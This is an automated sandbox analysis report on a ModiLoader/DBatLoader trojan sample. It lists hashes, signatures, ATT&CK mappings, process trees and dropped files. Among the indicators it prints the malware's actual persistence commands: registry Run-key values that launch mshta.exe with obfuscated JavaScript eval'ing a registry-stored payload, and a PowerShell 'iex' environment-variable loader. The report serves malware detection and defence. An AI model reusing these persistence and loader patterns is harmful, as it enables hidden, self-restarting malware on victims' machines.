modiloader | 3c8095e9b9a69d9408833cf198e2bf7c11d647581d5cb4216a82dd70f6c81093

General

Target

06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
Size

363KB
MD5

06e2068e32c74cd4bea37f256e61f702
SHA1

039eefc9bed956e74038533982568e04da953f57
SHA256

3c8095e9b9a69d9408833cf198e2bf7c11d647581d5cb4216a82dd70f6c81093
SHA512

abbf542d044cc42c3a048cb12651da7c34f3cbf4cd10b9d76b34b1f64c00bb280d9ce9f5a5e64d044c7af9fb7acac1d08740baa1f7bd6dfcc15ef963b4683be0
SSDEEP

6144:0e2N0dOCGzogTKULqOxmdK4ylktToPHVuIQHQeq2zhF9vCzsXZokGJ:0e2N0drW3THLHmI4gkG9u5HTZZI

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2500 2412 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2500	2412	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 49 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2880-25-0x0000000006370000-0x0000000006527000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-30-0x0000000001D50000-0x0000000001E2A000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-29-0x0000000001D50000-0x0000000001E2A000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-28-0x0000000001D50000-0x0000000001E2A000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-26-0x0000000001D50000-0x0000000001E2A000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-27-0x0000000001D50000-0x0000000001E2A000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-24-0x0000000001D50000-0x0000000001E2A000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-23-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-18-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-15-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-12-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-8-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-5-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-31-0x0000000001D50000-0x0000000001E2A000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-32-0x0000000001D50000-0x0000000001E2A000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-35-0x0000000000400000-0x000000000043C000-memory.dmp	modiloader_stage2
behavioral1/memory/2420-38-0x00000000061E0000-0x00000000062BA000-memory.dmp	modiloader_stage2
behavioral1/memory/2420-41-0x00000000061E0000-0x00000000062BA000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-42-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-39-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-46-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-45-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-44-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-48-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-43-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-52-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-51-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-54-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-53-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-55-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-50-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-47-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-58-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-64-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-80-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-63-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-65-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-62-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-74-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-73-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-72-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-71-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-61-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-60-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-59-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-57-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-56-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2456-49-0x0000000000150000-0x0000000000297000-memory.dmp	modiloader_stage2
behavioral1/memory/2996-90-0x0000000001D50000-0x0000000001E2A000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

2456 regsvr32.exe
Drops startup file 1 IoCs

Processes:

regsvr32.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\98dc7c4.lnk regsvr32.exe

pid	process
2456	regsvr32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\98dc7c4.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:Ol5Bf=\"j\";SK69=new%20ActiveXObject(\"WScript.Shell\");L80CqCX=\"qZ\";w04LzJ=SK69.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\pzadcohmp\\\\jhpvhyp\");os3vq=\"mw66ucmh\";eval(w04LzJ);B38hAafj=\"ZjpzWGi\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:HWLok80xo=\"ESp\";q8h=new%20ActiveXObject(\"WScript.Shell\");k7c4Omr=\"RM38XgG\";K2Z6CY=q8h.RegRead(\"HKCU\\\\software\\\\pzadcohmp\\\\jhpvhyp\");uivMQ9gg=\"EKZGw\";eval(K2Z6CY);KwtxEJx1=\"KQiVrfK\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\7976b13\\0f76566.lnk\""	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2880 set thread context of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2420 set thread context of 2456	2420	powershell.exe	regsvr32.exe
PID 2456 set thread context of 1464	2456	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.939cc270	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.939cc270\ = "85b167c"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:RYwt0j=\"gxVni\";zH3=new ActiveXObject(\"WScript.Shell\");wzr63s=\"PP\";qtG9O=zH3.RegRead(\"HKCU\\\\software\\\\pzadcohmp\\\\jhpvhyp\");rZ8A4Rh=\"O1K6oodt\";eval(qtG9O);IJbcGb50=\"x4KU8\";\""	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
2420	powershell.exe
2420	powershell.exe
2420	powershell.exe
2420	powershell.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe
2456	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

2420 powershell.exe
2456 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2420 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2420	powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2880 wrote to memory of 2996	2880	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe	06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
PID 2500 wrote to memory of 2420	2500	mshta.exe	powershell.exe
PID 2500 wrote to memory of 2420	2500	mshta.exe	powershell.exe
PID 2500 wrote to memory of 2420	2500	mshta.exe	powershell.exe
PID 2500 wrote to memory of 2420	2500	mshta.exe	powershell.exe
PID 2420 wrote to memory of 2456	2420	powershell.exe	regsvr32.exe
PID 2420 wrote to memory of 2456	2420	powershell.exe	regsvr32.exe
PID 2420 wrote to memory of 2456	2420	powershell.exe	regsvr32.exe
PID 2420 wrote to memory of 2456	2420	powershell.exe	regsvr32.exe
PID 2420 wrote to memory of 2456	2420	powershell.exe	regsvr32.exe
PID 2420 wrote to memory of 2456	2420	powershell.exe	regsvr32.exe
PID 2420 wrote to memory of 2456	2420	powershell.exe	regsvr32.exe
PID 2420 wrote to memory of 2456	2420	powershell.exe	regsvr32.exe
PID 2456 wrote to memory of 1464	2456	regsvr32.exe	regsvr32.exe
PID 2456 wrote to memory of 1464	2456	regsvr32.exe	regsvr32.exe
PID 2456 wrote to memory of 1464	2456	regsvr32.exe	regsvr32.exe
PID 2456 wrote to memory of 1464	2456	regsvr32.exe	regsvr32.exe
PID 2456 wrote to memory of 1464	2456	regsvr32.exe	regsvr32.exe
PID 2456 wrote to memory of 1464	2456	regsvr32.exe	regsvr32.exe
PID 2456 wrote to memory of 1464	2456	regsvr32.exe	regsvr32.exe
PID 2456 wrote to memory of 1464	2456	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2880

C:\Users\Admin\AppData\Local\Temp\06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\06e2068e32c74cd4bea37f256e61f702_JaffaCakes118.exe"
2⤵
PID:2996

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:QLaS47="0Kc";N0j=new%20ActiveXObject("WScript.Shell");C8yKc="DK";R4E5NS=N0j.RegRead("HKCU\\software\\TUBtFm\\ybx1IuOWn1");ZmVOT3od="B862lp";eval(R4E5NS);S89VSZv="8SvgN4";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:izven
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2420

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2456

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1464

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Virtualization/Sandbox Evasion

3

T1497

Modify Registry

2

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

3

T1497

File and Directory Discovery

1

T1083

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\7976b13\0f76566.lnk
Filesize
885B

MD5
d4a93a11d80469f9580ef238b32d5d34

SHA1
3c90d9b0e963e68cddd934a726c2dddff200b426

SHA256
340e472ddb27f186692fc334a000217962d66efab3e7fc57bab74b0cf7fc37df

SHA512
d0c6395d8b3ed3a1c8fd83056354375c90ea21f976cae9ee1dbf2280ce33dd354d81496815c8258711fc8f0516debc1e563ce0003f793519b40ca1c03544384f

Download Submit
C:\Users\Admin\AppData\Local\7976b13\51dd6a1.bat
Filesize
64B

MD5
e064db30ccd49e94f6b75dc5c34bddcb

SHA1
994bdd191b4014fbe7ec96e183936530d8e9e522

SHA256
a619a5d13af390a2ed3806d55f405bbcc93a8623dbf7be9963fca54dd0eca434

SHA512
102de2b946a112fd8a387afdf0e00ed5a650e645c682c921e425c26abd26ecbf3165d0294a3256f2906294761ec85e9e0ee1a9016f864c079e6af9474d5f25a8

Download Submit
C:\Users\Admin\AppData\Local\7976b13\a6c8ed0.939cc270
Filesize
41KB

MD5
91b28c0b759e4096fff3e63c370aba0d

SHA1
b625f01ffbc5fb3f035050f067c8cbba7ae5c946

SHA256
e9e44a4ec33da71b78655ef4b852a21856eaf97ae73d914cac85afa3386558d0

SHA512
71b5d66a5502e4075aecab9f75a34503f6e72c210268952e368967283df27071585a794cabf7658e085e917320b7bda03dc88d7e8242063919fac723aa491c3c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\98dc7c4.lnk
Filesize
993B

MD5
43135ddee8414dddcffb3af57add4e41

SHA1
177e0186124fcc2226c659f42465d1e931a037eb

SHA256
942489989ef36106499359e666d70ea830908a2d9771a7f95a97889eb72f260c

SHA512
f8e29bac3291fcaa218ca0fe59d75d03d8670f1a590293d1ed5d28eb82d77198e80ae27f52289a101c4ca10be79e3a5fee6cc824f11ba2a5bd0225cfec92775b

Download Submit
C:\Users\Admin\AppData\Roaming\c402751\453aea9.939cc270
Filesize
31KB

MD5
ed71c90275bb27c685fa12ae6d15fe0f

SHA1
bf147e5f98c7fbaf87f71114f7f8c74754805648

SHA256
5c87e206d9f2562f4580b040563b0cc107d68af90080c4dce5cd0f24d97b097e

SHA512
42c61de9b26d5f142366de80bca6ee8707bc8fcbc8ef15933fe9f2130d598ddfbd3f00621021e37062e9e64d298ef22dad29b74311a958bc1d0e5b16a546d780

Download Submit
memory/2420-38-0x00000000061E0000-0x00000000062BA000-memory.dmp

Filesize
872KB

Download
memory/2420-40-0x0000000003020000-0x0000000005020000-memory.dmp

Filesize
32.0MB

Download
memory/2420-41-0x00000000061E0000-0x00000000062BA000-memory.dmp

Filesize
872KB

Download
memory/2456-62-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-72-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-49-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-56-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-57-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-59-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-60-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-61-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-71-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-73-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-74-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-65-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-63-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-80-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-42-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-39-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-46-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-45-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-44-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-48-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-43-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-52-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-51-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-54-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-53-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-55-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-50-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-64-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-47-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2456-58-0x0000000000150000-0x0000000000297000-memory.dmp

Filesize
1.3MB

Download
memory/2880-25-0x0000000006370000-0x0000000006527000-memory.dmp

Filesize
1.7MB

Download
memory/2880-3-0x0000000000400000-0x000000000045C000-memory.dmp

Filesize
368KB

Download
memory/2996-32-0x0000000001D50000-0x0000000001E2A000-memory.dmp

Filesize
872KB

Download
memory/2996-5-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2996-19-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2996-24-0x0000000001D50000-0x0000000001E2A000-memory.dmp

Filesize
872KB

Download
memory/2996-31-0x0000000001D50000-0x0000000001E2A000-memory.dmp

Filesize
872KB

Download
memory/2996-18-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2996-1-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2996-2-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2996-23-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2996-35-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2996-8-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2996-12-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2996-15-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/2996-90-0x0000000001D50000-0x0000000001E2A000-memory.dmp

Filesize
872KB

Download
memory/2996-27-0x0000000001D50000-0x0000000001E2A000-memory.dmp

Filesize
872KB

Download
memory/2996-26-0x0000000001D50000-0x0000000001E2A000-memory.dmp

Filesize
872KB

Download
memory/2996-28-0x0000000001D50000-0x0000000001E2A000-memory.dmp

Filesize
872KB

Download
memory/2996-29-0x0000000001D50000-0x0000000001E2A000-memory.dmp

Filesize
872KB

Download
memory/2996-30-0x0000000001D50000-0x0000000001E2A000-memory.dmp

Filesize
872KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads